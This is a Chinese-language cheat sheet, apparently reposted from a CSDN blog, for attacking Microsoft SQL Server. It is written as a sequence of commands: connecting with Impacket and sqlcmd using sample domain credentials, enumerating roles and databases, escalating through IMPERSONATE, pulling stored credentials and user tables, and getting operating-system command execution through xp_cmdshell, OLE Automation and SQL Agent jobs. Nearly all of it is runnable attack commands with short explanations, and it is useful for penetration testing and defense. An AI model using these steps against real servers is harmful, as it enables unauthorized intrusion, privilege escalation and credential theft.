一、MSSQL 连接与身份验证
-
使用 mssqlclient.py 连接 MSSQL(支持 Windows 认证)
mssqlclient.py -windows-auth -dc-ip <DC_IP> <DOMAIN>/<USERNAME>:'<PASSWORD>'@<TARGET_IP>- 示例:
mssqlclient.py -windows-auth -dc-ip 192.168.212.40 hokkaido-aerospace.com/discovery:'Start123!'@192.168.212.40 - 说明:通过 Impacket 的 mssqlclient.py 工具连接 MSSQL,支持 Windows 域认证,需提供域名、用户名、密码和目标 IP。
- 示例:
-
使用 SQLCMD 连接 MSSQL
sqlcmd -S <TARGET_IP> -U <DOMAIN>\<USERNAME> -P <PASSWORD>- 示例:
sqlcmd -S 192.168.212.40 -U hokkaido-aerospace.com\discovery -P Start123! - 说明:SQLCMD 是 MSSQL 的原生命令行工具,适合本地或远程连接。
- 示例:
二、权限与身份枚举
-
检查当前用户
SELECT SYSTEM_USER- 说明:返回当前登录的用户名,用于确认当前身份。
-
检查是否为 sysadmin 角色
SELECT IS_SRVROLEMEMBER('sysadmin')- 说明:返回 1 表示当前用户具有 sysadmin 权限,0 表示无此权限。
-
枚举可模拟的账户(IMPERSONATE 权限)
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'- 说明:列出当前用户可以模拟(impersonate)的账户,用于后续权限提升。
-
枚举所有数据库用户
SELECT name, principal_id, type_desc FROM sys.database_principals- 说明:列出当前数据库中的所有用户及其类型(如 SQL_USER、WINDOWS_USER)。
-
枚举服务器角色
SELECT name FROM sys.server_principals WHERE type_desc = 'SERVER_ROLE'- 说明:列出服务器上的所有角色,用于检查高权限角色。
-
检查用户映射到的角色
SELECT dp.name AS UserName, sp.name AS RoleName FROM sys.database_role_members drm JOIN sys.database_principals dp ON drm.member_principal_id = dp.principal_id JOIN sys.database_principals sp ON drm.role_principal_id = sp.principal_id- 说明:显示数据库用户与其关联的角色,用于权限分析。
三、数据库与表枚举
-
枚举所有数据库
SELECT name FROM master.dbo.sysdatabases- 说明:列出服务器上的所有数据库名称。
-
枚举指定数据库中的表
SELECT * FROM <DATABASE_NAME>.INFORMATION_SCHEMA.TABLES- 示例:
SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES - 说明:列出指定数据库中的所有表信息,包括表名、类型等。
- 示例:
-
枚举表的列信息
SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM <DATABASE_NAME>.INFORMATION_SCHEMA.COLUMNS- 示例:
SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM hrappdb.INFORMATION_SCHEMA.COLUMNS - 说明:列出指定数据库中所有表的列名及数据类型,适合寻找敏感数据。
- 示例:
-
枚举数据库中的视图
SELECT * FROM <DATABASE_NAME>.INFORMATION_SCHEMA.VIEWS- 说明:列出指定数据库中的所有视图,可能包含敏感逻辑。
-
直接查询特定表内容
SELECT * FROM <DATABASE_NAME>.<SCHEMA_NAME>.<TABLE_NAME>- 示例:
SELECT * FROM hrappdb.dbo.users - 说明:直接查询指定表的数据,适合提取敏感信息(如用户凭据)。
- 示例:
四、权限提升与模拟
-
模拟其他用户(IMPERSONATE)
EXECUTE AS LOGIN = '<LOGIN_NAME>'- 示例:
EXECUTE AS LOGIN = 'hrappdb-reader' - 说明:将当前会话切换到指定登录账户,需有 IMPERSONATE 权限。
- 示例:
-
确认模拟后的身份
SELECT SYSTEM_USER- 说明:确认模拟是否成功,返回当前用户。
-
检查模拟用户权限
SELECT IS_SRVROLEMEMBER('sysadmin')- 说明:检查模拟用户是否具有 sysadmin 权限。
-
恢复原始身份
REVERT- 说明:从模拟状态恢复到原始用户身份。
五、敏感信息提取
-
查询系统认证信息
SELECT * FROM sysauth- 说明:尝试查询 sysauth 表,可能包含认证相关信息(视环境而定)。
-
查询存储的凭据
SELECT name, credential_id, credential_identity, create_date FROM sys.credentials- 说明:列出数据库中存储的凭据,可能包含服务账户信息。
-
查询链接服务器
SELECT * FROM sys.servers- 说明:列出配置的链接服务器,可能用于横向移动。
-
查询敏感配置
SELECT * FROM sys.configurations- 说明:列出数据库的配置信息,可能暴露安全设置(如 xp_cmdshell 是否启用)。
六、命令执行与高级利用
-
检查 xp_cmdshell 是否启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'- 说明:检查 xp_cmdshell 是否启用,用于后续命令执行。
-
启用 xp_cmdshell(需要 sysadmin 权限)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE- 说明:启用 xp_cmdshell,允许执行系统命令。
-
通过 xp_cmdshell 执行系统命令
EXEC xp_cmdshell '<COMMAND>'- 示例:
EXEC xp_cmdshell 'whoami' - 说明:执行系统命令,输出结果返回到 SQL 客户端。
- 示例:
-
使用 OLE 自动化执行命令(替代 xp_cmdshell)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; DECLARE @Object INT; EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT; EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\temp\whoami.txt'- 说明:在 xp_cmdshell 被禁用时,使用 OLE 自动化执行命令。
-
通过 SQL Agent 执行命令(需要 sysadmin 权限)
EXEC msdb.dbo.sp_add_job @job_name = 'TestJob'; EXEC msdb.dbo.sp_add_jobstep @job_name = 'TestJob', @step_name = 'RunCmd', @subsystem = 'CMDEXEC', @command = 'whoami'; EXEC msdb.dbo.sp_start_job @job_name = 'TestJob'- 说明:通过 SQL Server Agent 创建任务执行系统命令。
七、其他实用命令
-
查询服务器版本信息
SELECT @@VERSION- 说明:返回 MSSQL 服务器的版本信息,用于漏洞分析。
-
查询当前数据库
SELECT DB_NAME()- 说明:返回当前所在的数据库名称。
-
查询主机名
SELECT HOST_NAME()- 说明:返回运行 MSSQL 的主机名,辅助环境分析。
-
检查数据库文件位置
SELECT name, physical_name FROM sys.master_files- 说明:列出数据库文件路径,可能用于文件操作或权限分析。
原文 https://blog.csdn.net/2301_79518550/article/details/147653523